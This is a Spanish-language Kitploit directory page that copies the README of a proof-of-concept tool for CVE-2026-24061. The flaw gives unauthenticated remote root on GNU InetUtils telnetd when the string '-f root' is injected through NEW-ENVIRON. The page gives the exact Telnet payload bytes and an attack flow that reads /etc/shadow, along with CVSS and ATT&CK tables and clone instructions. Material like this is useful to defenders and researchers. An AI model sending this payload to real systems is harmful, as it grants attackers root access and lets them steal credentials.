Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-24061 — GNU InetUtils telnetd - Root remoto no autenticado mediante inyección de variable NEW-ENVIRON. | Kitploit
Herramientas/GitHubGitHub/franckferman/cve-2026-24061
Escáneres de VulnerabilidadesExplotaciónSeguridad de RedesPruebas de PenetraciónInteligencia de AmenazasAutenticaciónAprendizaje y EducaciónRed Teaming
GitHubfranckferman/cve-2026-24061

CVE-2026-24061

GNU InetUtils telnetd - Root remoto no autenticado mediante inyección de variable NEW-ENVIRON.

Ver Repositorio
537hace 7 mesesAún no revisado
Sitio web

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE Score License Python No deps

GNU InetUtils telnetd - Root Remoto No Autenticado mediante Inyección de Variable NEW-ENVIRON

Resumen - Análisis Técnico - Versiones Afectadas - Uso - Remediación - Referencias


Resumen de la Vulnerabilidad

CVE-2026-24061 es una vulnerabilidad crítica de bypass de autenticación en el demonio telnetd distribuido como parte de GNU InetUtils. El fallo reside en el manejo de la opción Telnet NEW-ENVIRON (RFC 1572) durante el handshake inicial del protocolo.

La causa raíz es la falta de saneamiento de las variables de entorno proporcionadas por el cliente antes de pasarlas al programa login(1). Cuando el demonio Telnet recibe un paquete de sub-negociación NEW-ENVIRON IS que contiene la variable USER con el valor -f root, pasa este valor sin sanear directamente al binario login del sistema.

En sistemas donde login acepta la bandera -f (forzar inicio de sesión sin verificación de contraseña), esto resulta en una sesión root no autenticada otorgada al atacante remoto.

Esta clase de vulnerabilidad tiene precedente histórico: CVE-2001-0797 en SysV telnetd y el conocido bypass -f de Linux telnetd de 1994 explotaron el mismo fallo fundamental de no sanear argumentos provenientes de variables de entorno pasados a binarios privilegiados.

No se requieren credenciales. No se necesita acceso previo. Una sola secuencia de paquetes de red logra root.

Análisis Técnico

Causa Raíz

GNU InetUtils telnetd procesa la sub-negociación NEW-ENVIRON (código de opción 0x27, según RFC 1572) para recopilar variables de entorno proporcionadas por el cliente. Estas variables se ensamblan en un vector de argumentos y se pasan a execve(2) al invocar login(1).

La vulnerabilidad se desencadena de la siguiente manera:

  1. El servidor envía IAC DO NEW-ENVIRON, solicitando variables de entorno al cliente.
  2. El cliente malicioso responde con IAC WILL NEW-ENVIRON.
  3. El servidor continúa con IAC SB NEW-ENVIRON SEND IAC SE.
  4. El cliente envía el payload inyectado:
IAC SB NEW-ENVIRON IS
  VAR "USER" VALUE "-f root"
IAC SE
  1. telnetd construye la invocación de login como login -f root.
  2. login(1) interpreta -f como "forzar inicio de sesión, omitir autenticación" e inicia sesión con el usuario especificado (root) sin requerir contraseña.

Desglose a Nivel de Protocolo

PasoDirecciónBytes Telnet (hex)Significado
1S -> CFF FD 27IAC DO NEW-ENVIRON
2C -> SFF FB 27IAC WILL NEW-ENVIRON
3S -> CFF FA 27 01 FF F0IAC SB NEW-ENVIRON SEND IAC SE
4C -> SFF FA 27 00 00 55 53 45 52 01 2D 66 20 72 6F 6F 74 FF F0IAC SB NEW-ENVIRON IS VAR "USER" VALUE "-f root" IAC SE

Por Qué Funciona -f root

El binario login(1) en muchos sistemas Linux acepta la bandera -f <usuario> para inicios de sesión "pre-autenticados", usada históricamente por multiplexores de terminal y rlogin. Cuando telnetd construye su llamada exec y no elimina guiones iniciales ni valida cadenas similares a opciones en los valores de variables de entorno, pasa inadvertidamente banderas controladas por el atacante directamente a login.

La llamada efectiva se convierte en:

execve("/bin/login", ["login", "-f", "root"], envp);

Escenario de Ataque

Atacante                                    telnetd vulnerable (puerto 23)
   |                                                   |
   |------- TCP SYN (puerto 23) ---------------------->|
   |<------ TCP SYN-ACK -------------------------------|
   |------- TCP ACK ---------------------------------->|
   |                                                   |
   |<------ Banner Telnet + IAC DO NEW-ENVIRON --------|
   |------- IAC WILL NEW-ENVIRON --------------------->|
   |<------ IAC SB NEW-ENVIRON SEND IAC SE ------------|
   |                                                   |
   |------- IAC SB NEW-ENVIRON IS                      |
   |        VAR "USER" VALUE "-f root" IAC SE -------->|
   |                                                   |
   |        [telnetd llama: login -f root]             |
   |                                                   |
   |<------ Prompt de shell root (#) ------------------|
   |                                                   |
   |------- id; whoami; cat /etc/shadow -------------->|
   |<------ uid=0(root) root contenido /etc/shadow ----|

Requisitos previos:

  • Sistema objetivo ejecutando GNU InetUtils telnetd (TCP/23 abierto)
  • Versión sin parchear de inetutils
  • El binario login(1) soporta la bandera -f (estándar en la mayoría de distribuciones Linux)
  • Sin firewall que bloquee TCP/23

Versiones Afectadas

SoftwareVersiones AfectadasEstado
GNU InetUtils telnetd<= 2.x (versión parcheada específica por determinar)Vulnerable
Distribuciones que incluyen GNU inetutils sin parchearVariasConsultar aviso del proveedor

Verifique si su distribución incluye una versión parcheada. Muchos sistemas modernos tienen Telnet deshabilitado por defecto; la exposición requiere un telnetd ejecutándose explícitamente.

Puntuación CVSS

MétricaValor
Puntuación Base CVSS v3.19.8 (Crítica)
Vector de AtaqueRed
Complejidad de AtaqueBaja
Privilegios RequeridosNinguno
Interacción del UsuarioNinguna
AlcanceSin cambios
Impacto de ConfidencialidadAlto
Impacto de IntegridadAlto
Impacto de DisponibilidadAlto
Cadena de VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Mapeo MITRE ATT&CK

ID ATT&CKTácticaTécnicaRelevancia
T1190Acceso InicialExplotar Aplicación Expuesta al PúblicoExplotación directa de telnetd a través de la red
T1059EjecuciónIntérprete de Comandos y ScriptsEjecución de shell post-explotación
T1078.004Escalada de Privilegios / Evasión de DefensaCuentas Válidas: Cuentas LocalesEl bypass de autenticación produce una sesión root válida
T1548Escalada de PrivilegiosAbuso de Mecanismo de Control de ElevaciónBandera login -f abusada para omitir PAM/autenticación
T1046DescubrimientoDescubrimiento de Servicios de RedComponente de escaneo masivo del PoC

Instalación

Requisitos: Python 3 (solo biblioteca estándar, cero dependencias externas).

git clone https://github.com/franckferman/CVE_2026_24061.git
cd CVE_2026_24061

No se necesita pip install. Ambos scripts usan únicamente la biblioteca estándar de Python.

Estructura del Proyecto

Descargar herramienta